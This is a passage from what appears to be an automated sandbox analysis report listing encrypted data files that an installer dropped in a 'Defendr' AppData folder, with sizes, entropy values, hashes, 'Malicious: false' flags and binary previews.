Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv40.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	36152
Entropy (8bit):	7.994665199756768
Encrypted:	true
SSDEEP:	768:BW6NyS+X3jDMzxYUUo1o6ySohxIl1RUY91xOpcSsUPrJmMWLjlQmmwB:BW6MJXvOxY/o1h7ohGlTUdpfserk9hQs
MD5:	136E5B4E8CC6E1A10CD31A82271FD432
SHA1:	CC75803F4A294AA7E5043C924C5564E11BDB01A1
SHA-256:	541A4CB4AC89DC976197A2A355237633E615DEE30A717C1F822FB0387BB998F0
SHA-512:	CED73B5453D8A73FB9EA953659A3D6D57F39843354D3E18388D2D6926B3917082F98C8573B32C58D1F6040B0E9E6BB791F7A5C21C0BE85D6CD579F51205F8461
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv41.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	106388
Entropy (8bit):	7.998355984294275
Encrypted:	true
SSDEEP:	3072:oeXeOmEBIb9CWErJZcZGYL3DRg6egHEBKC/K1:Gu49CWE9OZG0SNgk/0
MD5:	EE38E0CD908F86BB34C79806EF14B1EB
SHA1:	09AE883AC80691697BA410143814877F174C5DCF
SHA-256:	2F062581D9EC9D7ABFE8661AC22B933AFC54BE7389C61C5DF0DD96046BF83497
SHA-512:	8A854C366554381F645FBC75EC7E7D7D2E647F949738B1C8B67C3DC05BDCBED46E26AB9D76F30F56DBCDAA523C090338A10E6DCEBA9158B5F281885C5FF1DA4B
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv41.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	39585
Entropy (8bit):	7.9960939395156245
Encrypted:	true
SSDEEP:	768:BW6NFGFd4QWyWse5zIJX/0Na7USo10TT4Od6lGD9raH5L1sPklLfoN+C:BW6SFdlIzMP0NfSsGTrd60prm5L1L2Nh
MD5:	C2E464DDD469ED66377B1D87DAF374E9
SHA1:	872D185AC8B901066A18363671F5CF82577D343D
SHA-256:	B8B6885914A26B0783B641F8FBCAAF2B9AB77DA95052ADCA3D72AC8A2D85275A
SHA-512:	C95D062EB5A071342911C5A9DC504054FD449AD1DF0E12A7407A88829D2A8CC66D552536E3185A4627B1A6BDD2F3ED9718653C67874791E27D9DDD5A8EA7F6C9
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv42.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	100537
Entropy (8bit):	7.9980900812264775
Encrypted:	true
SSDEEP:	1536:BW6jkgvEOKgj31aCxB7AgOUNEBaBAFdl52UD9uVwwIZpxtYeoyMIvWZLdy:oW3tKgtxBM8jAFdO+9uVwwIptYoM7Hy
MD5:	F073FEC496AC5960CD531E513B582CC9
SHA1:	452E711982ED3EEFC4DAC87D35168FB71BAE072B
SHA-256:	C0177D09026E291B5D9AB07270EB11AF84E803035EF40AB3E049C5A6222B608A
SHA-512:	F817FDCA3208C4C0773F4AA85607B0CA8EC17DDEA8669CDE8DB791A156E2D8FA0E2948B7CDF9AB50D2CCCB0013C59B4EA289A284199F084B95F5F361C33A9FC6
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv42.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33474
Entropy (8bit):	7.993793390704863
Encrypted:	true
SSDEEP:	768:BW6NulOXTDacv8T8j9H89dag3n6/xbqYWtdtOBvSt2UHQ+NZAk:BW66OXHLU8jV89LUPWBt2UHbNZj
MD5:	CC1DF6047E4681437B87702D383BBD98
SHA1:	D92EE9749E6A0ADCA26B5BE52995528159BD153F
SHA-256:	21F765962B28615E8AC9FA0E54D71B14E85A44726B2EF67D8A2C8B0B1D800A34
SHA-512:	F40F9D13125CB716A92172DF40DDAC2D0296C80701B25115E79E07E1F9157343ECBB981264D63CDA2C53555F661F4EF4350250D9768760F05339D1D48E2AB42D
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv43.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	94068
Entropy (8bit):	7.997730230347179
Encrypted:	true
SSDEEP:	1536:BW6avOkNbLnegxT6Qa8DWEFkBFRHZPAkvWCeIqmoFM2wVLKcThJ:o+k4gcGioe5Pzv1eIqm21QLKcFJ
MD5:	52DBFE44F46C542099A53306A1E20721
SHA1:	6AD3B8DE484520F4B35AFAEF79380BA16038EDC2
SHA-256:	E828D0D534098273B0F77F37A95A07F1451D0F594902F34768337AD2C381EB17
SHA-512:	88E1ACB045F826CC7D94197D52CEF676A6B52AAB8CC4FF814867C329D8FB0158DCF0C855B1ADAC4E9E44C7A62D27431B94A1E6BC58086C0144F7C1816C6BD71B
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv43.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	27801
Entropy (8bit):	7.993413795984102
Encrypted:	true
SSDEEP:	768:BW6Nw/Q/zvpl32Cp/vaiQLt4YCfocDu0jlVCNMQm2KUPQOknsx:BW6uyzvpl3BJQR+focTlcNXmh5OCI
MD5:	87AF00A1137B5F8D1E68C3BF739A5BC1
SHA1:	0B46C8C6819134DEC64A985278517738F89856AE
SHA-256:	86D5C6999F042D4ED076DB76B6F24FD94B462A88AB146922CAD236DFC6DD1C8B
SHA-512:	9397360C7A294CC9DB1D84266F90F6E81E42FBAF93B1531203385637DF53DC9696CE7EA024D690C5D09D025C964210EBE91D8CDFD70C34A87944E5B6DC3D3044
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv44.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	99074
Entropy (8bit):	7.998093404053396
Encrypted:	true
SSDEEP:	3072:ouvF/yBobA2DKdpveu2SzyIH7FU7yNAZC:oWbApdpmY9WXZC
MD5:	AA3B049417B78B1453B7F83A8840704D
SHA1:	D51ED06C114F7C6DDF4EB95BEC14BF84631DBE41
SHA-256:	5DE3E13B34DD3AAF6B4732C189D9AA396EA672A53B6D39638D7B13BFB25A11FD
SHA-512:	4ECA3C30079B880DD4A41E28836E14EDD316AF69F8DBBF3680702933F57B461B2164C1DC11395D28F81B56507BCA49A2119D8A61DA18966CD685E36E489951EF
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv44.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31845
Entropy (8bit):	7.994830977471325
Encrypted:	true
SSDEEP:	768:BW6NXTsdEv2rxnAUAJYb/Kqj8JZjbZsLbBn:BW6ds/rKUUSCqjmZjbeLN
MD5:	AE721CD59DF67789B72FE5FEBC3903F3
SHA1:	A1AC6F678715E98E6DC412E3B06BF9556181B4D3
SHA-256:	929295B2FDDF474A277B72791FDAE5F9E606C37C6EA553B45ADDF0558A0F89F7
SHA-512:	EBFA7BDE6E57B6FB5BF114E92E2CCB71963D8B5520F386350F2C576B0A5F6A70F7CE477341852BD79140A0BD07969DF91FC02834FD837A64DD08510F4F1752A1
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv45.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	53792
Entropy (8bit):	7.996398865809003
Encrypted:	true
SSDEEP:	1536:BW63wQHGB+Ee6ignaq2v0MZe+/OjwqHhWDNuy:oOwQHw7e6ba/HBWjxQhn
MD5:	E5BE9FE9FC69D4CA4FAE3E164BEEF8F7
SHA1:	4240C824C6D42D0E2804BEFE78B12FF6DD441E31
SHA-256:	B8058CB5EB9C0B765F5A278B8CBF144536150FACF37BD79E4837BA2AD0DEA629
SHA-512:	6F01667CEF0BD072A72B07217B21E5BF6A14AFD3212A17BB106F69F3F479D3788CF928A0A87A71975945B78D9C8B6A2D423B31DC1EDC28B68AABC62F4562F713
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv45.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	31813
Entropy (8bit):	7.994070863700724
Encrypted:	true
SSDEEP:	768:BW6NC8gc37E+Q7Ia3g5fzgXwcMrcgFcKeMLlwWExwP/BC:BW6jzrQEaQ5f8grI3KeQlwWuwP/Q
MD5:	48CA22EB8386290DFD54E8C474879B52
SHA1:	311CE04FD8D3C5ACD3BFA13BB3024116F653249C
SHA-256:	3C52B3127BDCF7C2AF11243F0A51DD46FC4A8BF458C8C6FA109EA3F92A60534C
SHA-512:	7EB4E12727F50E75410F9986238B69274C2091E30BFC49459738D93B3CC19E54432C934E121A4656DB114D021BC8DF3A3E388D5755A3D0D583FBF77081E49F7A
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv45.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	103785
Entropy (8bit):	7.998154804983971
Encrypted:	true
SSDEEP:	1536:Z3LmKk9efPMQ8014sMlerA6hmOGcpx9/jz8Uf3OxCOurgcrPZ5lBWz1ZWEb5:Z3bFMQ8eMSx9vVuCNkMzBG7Wy5
MD5:	FDCDBBBAEE3059F45AFE1563E6CBBFA1
SHA1:	070C618BD94A68CBBEF90A7881613374B10188D0
SHA-256:	14B18605E1084E969EB0FD796C07FD885ADA907947291AF17997DC91513E4DD5
SHA-512:	97DD90D5317B04B825BA3D47F2083155441DE41F23B077D64DD98871C55EDF01C9BCA64F593DC1CB54B7A956551C76E6BF35A0167BE061B9E5B0781BFF22BC84
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..s.....n...H.n..]...f..7.....".L.:.M4r.v.t..b..tO..~.....&.G.....;.....,}..E<..23!...\i]...n.!...I7}(.V.'...x. .......nDB..P.^.1..A.l.-..h.r.BC.Y........7d.......\..Uel^.....^y./...?.W..0.(....K..tg..l.......4.yYQ...HJ.:T-]!U.=TB..=?..s..'.< #yE<..`FY.g...t...X........c..]!b6...+....NrX...&.I.v.J.d._..{.]k<q..?......<-.......u.7.Q...*v..#.V..G.A...?.u.{.,..%\0L%Q...$M1+.'...=}....S....w.....0.~.BQ....S7A.A"TL.4..]..=.....}...lJ..".o.w.........9.N.fKN......D.}.........uE.f..(#../....gw..._o9..!Mz....A...;\|...tn.#.<.f..q...:. .F+K.......X....^....C..../.Pi..a.{=[.r........VG....G....W(SY......:.u$.z,X.j... ..e......Q.AFs...(.h'........M_9WU.....5B<.....>....pE..7....Y.!,.2U...YKx.#&Y.<+.f.0~.R.E..J.Q..##..;IW\=..P...Vt.......hm....<..p.<...D.D..X..1..2.i04yzo%+CN._..MH..a.%....I.F......1...i...u.I.>+.G.n..<F,y.@6.iC..S..@>T3..Nv....;..^N\|}../ihys.?..2.\..KB.ln ...2.m/..R...Y.mp...m.7<\.ax....H..I0Y...

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv45.3.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	33413
Entropy (8bit):	7.994738128765888
Encrypted:	true
SSDEEP:	768:byWV4zwDjLTC/6c32Cew4cflNwBEm+AnBLB3TO3Kxj:YwD3TC/JGNw4MlNwDNBVC6h
MD5:	CEC8262AEAE454048A13FCEF64416666
SHA1:	48BF36FE244FC7300195796678D8D560032B718A
SHA-256:	BAD738A7A5E22A0B4DD9C6A440FF722D75B562F0D7E3052427EDE9F57BBC9EF6
SHA-512:	077E68C3C5EA91CAF3DA8EB91BF0A117CF83BB76CB57E4F54106D87A18D320478E4643CDC96C03CD9B94C6D10E7F79C87500DCBB0C639EF51959FFB38A7A2D0D
Malicious:	false
Preview:	.#D...e..,...!G...A..Z\.Zs..s.....n...H.n..]...f..7...7,X. 3g..XT..B...0.RQ\|!..<.s.y..o.).....}=jW.........0.....A..4.x..9E.]..../9...9..q..t....o....... ..H{.......y3...CA......9....FF...?...F.C..e.}..B?.;...P3.NY......o.F.M....$.bn.]R...6...A.l.$..n. ....!...is.6'. Y.m...G.rSB-t......<E..2S..;../.L..H.....'Bc}f.A.HIw..a...fc.c:.^K.c......t...`...q..p.D.Q...Kv4...4.9\..@......x.g4d...S1....6.6D...?.J.H.)...;.iQ... ..C.......\|5...oD.c._....b..'....z..2..\..cc.\|R.yCU#..N./.v..@.\'..H\f...eo.6.}..].......'Z....?"c..FH+.A.....#..X..u..,....Q..>gB{\. G...b.=.....Z\....i".>?.....X\..\|J79..,...6..I/..[..,..g.....".;...C.m.....(...U../...&?..2...!.......\t*...~...8e;;:A.....`z.%....8.Hk.>hl......-L....Lyi.p.j...q }z\..=.;..=r/.1....m.....Y..3.K.[..<.....].0..S/.d.t.WYn.,Y..%.M......cYpL.`.C.<&.,.....h..&.Yf8R^..?.h.z...)..h.5h.'..@...W2.n..a.....l.WIT.4.Z..sk..g.V.k.Axs....a..&...a.....b..'.o...6Fdw.;...!....^D..2P^...a].L..^..Q.

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv45.4.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	65702
Entropy (8bit):	7.997244020702617
Encrypted:	true
SSDEEP:	1536:QayRKcGIakNwN56RcUfoZHhn0t9fAIH8TBOg:oRKEak+N56RZoZNu7H81Og
MD5:	C6607EDBDDFB082E9BA6689D3AEA1E53
SHA1:	68FED24E716D40BBE87B8A0A34B19F6D8A78D151
SHA-256:	F082CAC36BBBA6DE1C63C117C7088EF6467471358ABCF0941686CDD7A87BFD3B
SHA-512:	6EEF8E376A5E21E4F0750D0849CA2C0AB76D77DCB69E21908F5B2A4BAB9911F4E2CC504C4CEE0DB2696F21B236712D3DF13DC74CD01522AE01C0677C497FD3A9
Malicious:	false
